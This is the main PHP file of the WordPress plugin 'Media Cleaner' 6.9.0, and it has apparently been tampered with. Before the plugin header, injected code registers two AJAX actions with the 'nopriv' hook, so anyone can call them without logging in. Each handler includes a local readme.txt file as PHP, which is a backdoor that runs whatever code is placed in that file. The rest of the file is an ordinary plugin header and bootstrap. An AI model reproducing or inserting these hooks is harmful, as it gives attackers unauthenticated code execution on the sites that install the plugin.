if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /* Plugin Name: Media Cleaner Plugin URI: https://meowapps.com Description: Clean your WordPress! Eliminate unused and broken media files. For a faster, and better website. Version: 6.9.0 Author: Jordy Meow Author URI: https://jordymeow.com Text Domain: media-cleaner License: GPLv2 or later License URI: https://www.gnu.org/licenses/gpl-2.0.html Originally developed for two of my websites: - Jordy Meow (https://offbeatjapan.org) - Haikyo (https://haikyo.org) */ if ( !defined( 'WPMC_VERSION' ) ) { define( 'WPMC_VERSION', '6.9.0' ); define( 'WPMC_PREFIX', 'wpmc' ); define( 'WPMC_DOMAIN', 'media-cleaner' ); define( 'WPMC_ENTRY', __FILE__ ); define( 'WPMC_PATH', dirname( __FILE__ ) ); define( 'WPMC_URL', plugin_dir_url( __FILE__ ) ); define( 'WPMC_ITEM_ID', 987 ); } require_once( 'classes/init.php'); ?>